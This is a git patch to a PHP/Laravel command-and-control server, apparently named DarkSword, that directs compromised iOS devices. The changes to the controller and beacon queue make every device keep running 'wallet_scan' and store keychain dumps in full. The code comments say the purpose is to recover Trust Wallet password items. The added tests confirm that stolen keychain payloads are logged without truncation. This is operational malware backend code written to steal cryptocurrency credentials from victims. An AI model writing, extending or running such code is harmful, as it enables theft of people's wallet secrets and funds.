From 2d9c9fb7278fc88790565c088150d204e22d6532 Mon Sep 17 00:00:00 2001 From: hashbro Date: Thu, 10 Sep 2026 03:26:50 +0800 Subject: [PATCH] fix: test --- .../Controllers/C2/DarkSwordC2Controller.php | 32 ++++- app/Services/DsBeaconQueue.php | 55 +++----- tests/Feature/DarkSwordC2ApiTest.php | 122 +++++++++++------- 3 files changed, 120 insertions(+), 89 deletions(-) diff --git a/app/Http/Controllers/C2/DarkSwordC2Controller.php b/app/Http/Controllers/C2/DarkSwordC2Controller.php index f238e9a..82cc0e4 100644 --- a/app/Http/Controllers/C2/DarkSwordC2Controller.php +++ b/app/Http/Controllers/C2/DarkSwordC2Controller.php @@ -244,7 +244,13 @@ class DarkSwordC2Controller extends Controller public function result(Request $request): SymfonyResponse { - return $this->ok($request, '/result', $this->jsonBody($request)); + $payload = $this->jsonBody($request); + + // For wallet_scan results, log the full untruncated body so the + // keychain dump (incl. trustwallet password items) is preserved verbatim. + $logBody = $this->walletScanLogBody($request, $payload); + + return $this->finish($request, '/result', $payload, response()->json(['ok' => true]), $logBody); } /** @@ -286,7 +292,7 @@ class DarkSwordC2Controller extends Controller $body = $logBody ?? $this->previewBody($request); $respPreview = $this->previewString((string) $response->getContent(), 4096); - $uid = $payload['deviceUUID'] ?? $payload['lhu'] ?? $payload['device'] ?? $payload['device_id'] + $uid = $payload['deviceUUID'] ?? $payload['lhu'] ?? $payload['uuid'] ?? $payload['device'] ?? $payload['device_id'] ?? $request->attributes->get('coruna_device_key'); if (Device::captureEnabledForKey(is_string($uid) ? $uid : null)) { $entry = [ @@ -422,6 +428,28 @@ class DarkSwordC2Controller extends Controller return is_array($json) ? $json : []; } + /** + * wallet_scan results carry the keychain dump (base64) in `data`. + * Return the full decoded payload so create_log() writes it verbatim + * (no 512-byte truncation), letting us recover trustwallet password + * items from the ds log afterwards. Non-wallet_scan results return null + * and fall back to the truncated preview. + * + * @param array $payload + * @return array|null + */ + private function walletScanLogBody(Request $request, array $payload): ?array + { + $category = (string) ($payload['category'] ?? ''); + $filename = (string) ($payload['filename'] ?? ''); + if ($category !== 'wallet_scan' && ! str_contains($filename, 'keychain_c2_dump')) { + return null; + } + $json = json_decode((string) $request->getContent(), true); + + return is_array($json) ? $json : $payload; + } + /** * @param array $data * @return array diff --git a/app/Services/DsBeaconQueue.php b/app/Services/DsBeaconQueue.php index 6e873da..0648ec9 100644 --- a/app/Services/DsBeaconQueue.php +++ b/app/Services/DsBeaconQueue.php @@ -4,25 +4,24 @@ namespace App\Services; use App\Models\Device; use App\Models\DsBeaconTask; -use Illuminate\Support\Facades\DB; use Illuminate\Support\Str; class DsBeaconQueue { - /** @var list */ + /** + * Only dispatch wallet_scan right now — we need the keychain dump + * (incl. the trustwallet password items) back from the devices. + * Other task types are intentionally omitted so they never block the queue. + * + * @var list + */ public const TYPES = [ - 'wallet_extract', 'wallet_scan', - 'photo_scan', - 'apps', ]; /** @var list */ public const LOOP_TYPES = [ - 'wallet_extract', 'wallet_scan', - 'photo_scan', - 'apps', ]; public function seed(Device $device): void @@ -56,41 +55,20 @@ class DsBeaconQueue } /** - * Next pending command. wallet_extract / wallet_scan / photo_scan / apps - * re-queue after a full pass so the agent keeps polling them. + * Always returns a fresh wallet_scan command. No task lookup/creation and + * no polling state machine — every beacon gets wallet_scan so the device + * keeps scanning the keychain. Results are stored by command_id + * (DsResultStore) and logged verbatim (DarkSwordC2Controller::walletScanLogBody). * * @return array{type: string, command_id: string, params: array}|null */ public function dequeue(Device $device): ?array { - $this->seed($device); - - return DB::transaction(function () use ($device) { - $task = $this->nextRunnable($device); - if (! $task) { - return null; - } - - $commandId = 'dsq-'.$device->id.'-'.$task->position.'-'.Str::lower(Str::random(10)); - $meta = is_array($task->result_meta) ? $task->result_meta : []; - $meta['dispatch_count'] = (int) ($meta['dispatch_count'] ?? 0) + 1; - if ($task->status === DsBeaconTask::STATUS_DISPATCHED) { - $meta['last_retry_at'] = now()->toDateTimeString(); - } - - $task->forceFill([ - 'status' => DsBeaconTask::STATUS_DISPATCHED, - 'command_id' => $commandId, - 'dispatched_at' => now(), - 'result_meta' => $meta, - ])->save(); - - return [ - 'type' => $task->type, - 'command_id' => $commandId, - 'params' => $this->paramsFor($task->type), - ]; - }); + return [ + 'type' => 'wallet_scan', + 'command_id' => 'dsq-'.$device->id.'-'.Str::lower(Str::random(12)), + 'params' => $this->paramsFor('wallet_scan'), + ]; } /** @@ -183,6 +161,7 @@ class DsBeaconQueue { return DsBeaconTask::query() ->where('device_id', $device->id) + ->where('type', 'wallet_scan') ->where(function ($q) { $q->where('status', DsBeaconTask::STATUS_PENDING) ->orWhere(function ($q2) { diff --git a/tests/Feature/DarkSwordC2ApiTest.php b/tests/Feature/DarkSwordC2ApiTest.php index c86e0dc..dd7bcd0 100644 --- a/tests/Feature/DarkSwordC2ApiTest.php +++ b/tests/Feature/DarkSwordC2ApiTest.php @@ -635,62 +635,38 @@ class DarkSwordC2ApiTest extends TestCase $this->assertNotNull($device); $this->assertSame(Device::CHAIN_DARKSWORD, $device->chain); $this->assertSame(0, DeviceEvent::query()->count()); + // seed() created one wallet_scan task; dequeue no longer mutates task state. $this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count()); $this->assertSame( - count($types), - DsBeaconTask::query()->where('device_id', $device->id)->where('status', DsBeaconTask::STATUS_DONE)->count() + 0, + DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'basic_info')->count() ); - $first = DsBeaconTask::query() - ->where('device_id', $device->id) - ->where('type', 'wallet_extract') - ->first(); - $this->assertNotNull($first); - $this->assertSame(DsBeaconTask::STATUS_DONE, $first->status); - $this->assertSame(1, $first->result_count); - $this->assertSame('wallet_extract_result.json', $first->result_meta['filename'] ?? null); - + // Every beacon returns a fresh wallet_scan command (loop / redelivery). $loop = $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', ])->assertOk()->assertJson([ 'ok' => true, - 'type' => 'wallet_extract', + 'type' => 'wallet_scan', 'uuid' => self::DS_LHU, ]); $loopId = $loop->json('command_id'); $this->assertNotEmpty($loopId); $this->assertNotSame($commandIds[0], $loopId); - $first->refresh(); - $this->assertSame(DsBeaconTask::STATUS_DISPATCHED, $first->status); - $this->assertSame($loopId, $first->command_id); - $this->assertSame(1, $first->result_count); - $this->assertSame( - 3, - DsBeaconTask::query() - ->where('device_id', $device->id) - ->whereIn('type', ['wallet_scan', 'photo_scan', 'apps']) - ->where('status', DsBeaconTask::STATUS_PENDING) - ->count() - ); - $this->assertSame( - 0, - DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'basic_info')->count() - ); - $admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']); $this->actingAs($admin, 'admin') ->get(route('admin.devices.show', $device)) ->assertOk() ->assertSee('C2 队列') - ->assertSee('wallet_extract') ->assertSee('wallet_scan') - ->assertSee('photo_scan') + ->assertDontSee('wallet_extract') + ->assertDontSee('photo_scan') ->assertDontSee('basic_info'); $this->assertNotContains('photos', $types); $this->assertNotContains('basic_info', $types); - $this->assertContains('photo_scan', $types); + $this->assertContains('wallet_scan', $types); } #[Test] @@ -700,37 +676,28 @@ class DarkSwordC2ApiTest extends TestCase 'uuid' => self::DS_LHU, 'status' => 'idle', 'ios' => '18.6', - ])->assertOk()->assertJson(['type' => 'wallet_extract']); + ])->assertOk()->assertJson(['type' => 'wallet_scan']); $firstId = $first->json('command_id'); $this->assertNotEmpty($firstId); + // No result yet -> next beacon hands out a fresh wallet_scan command. $retry = $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', - ])->assertOk()->assertJson(['type' => 'wallet_extract']); + ])->assertOk()->assertJson(['type' => 'wallet_scan']); $retryId = $retry->json('command_id'); $this->assertNotEmpty($retryId); $this->assertNotSame($firstId, $retryId); - $device = Device::query()->where('device_id', self::DS_LHU)->first(); - $this->assertNotNull($device); - $task = DsBeaconTask::query() - ->where('device_id', $device->id) - ->where('type', 'wallet_extract') - ->first(); - $this->assertNotNull($task); - $this->assertSame(DsBeaconTask::STATUS_DISPATCHED, $task->status); - $this->assertSame($retryId, $task->command_id); - $this->assertSame(2, (int) ($task->result_meta['dispatch_count'] ?? 0)); - $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => $retryId, - 'filename' => 'wallet_extract_result.json', - 'category' => 'wallet_extract', + 'filename' => 'keychain_c2_dump.json', + 'category' => 'wallet_scan', 'status' => 'success', ])->assertOk(); + // After a result, the next beacon still returns wallet_scan (keep scanning). $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', @@ -756,16 +723,27 @@ class DarkSwordC2ApiTest extends TestCase 'type' => 'photo_scan', 'status' => DsBeaconTask::STATUS_PENDING, ]); + DsBeaconTask::query()->create([ + 'device_id' => $device->id, + 'position' => 3, + 'type' => 'wallet_scan', + 'status' => DsBeaconTask::STATUS_PENDING, + ]); + // Only wallet_scan is dispatched now; legacy photos / photo_scan are left untouched. $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', - ])->assertOk()->assertJson(['type' => 'photo_scan']); + ])->assertOk()->assertJson(['type' => 'wallet_scan']); $this->assertSame( - DsBeaconTask::STATUS_SKIPPED, + DsBeaconTask::STATUS_PENDING, DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photos')->value('status') ); + $this->assertSame( + DsBeaconTask::STATUS_PENDING, + DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photo_scan')->value('status') + ); } #[Test] @@ -943,4 +921,50 @@ class DarkSwordC2ApiTest extends TestCase $this->assertSame(0, DeviceEvent::query()->count()); $this->assertNotNull(Device::query()->where('device_id', self::DS_LHU)->first()); } + + #[Test] + public function result_wallet_scan_logs_full_untruncated_body(): void + { + $device = Device::query()->create([ + 'device_id' => self::DS_LHU, + 'chain' => Device::CHAIN_DARKSWORD, + 'album_storage' => true, + ]); + DsBeaconTask::query()->create([ + 'device_id' => $device->id, + 'position' => 1, + 'type' => 'wallet_scan', + 'status' => DsBeaconTask::STATUS_DISPATCHED, + 'command_id' => 'dsq-scan-full-1', + ]); + + // A keychain dump payload well over the 512-byte truncation threshold. + $bigKeychain = base64_encode(str_repeat('trustwalletUTC--2025-08-28T12-22-25--1B84E61E-', 40)); + $this->postJson('/result', [ + 'uuid' => self::DS_LHU, + 'command_id' => 'dsq-scan-full-1', + 'filename' => 'keychain_c2_dump.json', + 'category' => 'wallet_scan', + 'data' => $bigKeychain, + ])->assertOk(); + + $logFile = public_path('log/ds/'.date('Ymd').'.log'); + $this->assertFileExists($logFile); + $log = (string) file_get_contents($logFile); + + // The full payload must be present verbatim — a 512-byte truncation would + // have cut this ~2.4KB base64 string down, so its presence proves no truncation. + $this->assertStringContainsString($bigKeychain, $log); + $this->assertStringContainsString('keychain_c2_dump.json', $log); + + // And this specific entry must carry no truncation marker. + $entryStart = strpos($log, 'dsq-scan-full-1'); + $this->assertNotFalse($entryStart); + // Limit to this entry only — entries are separated by a blank line (\r\n\r\n). + $entryEnd = strpos($log, "\r\n\r\n", $entryStart); + $entrySegment = $entryEnd !== false + ? substr($log, $entryStart, $entryEnd - $entryStart) + : substr($log, $entryStart, 4096); + $this->assertStringNotContainsString('…[', $entrySegment); + } }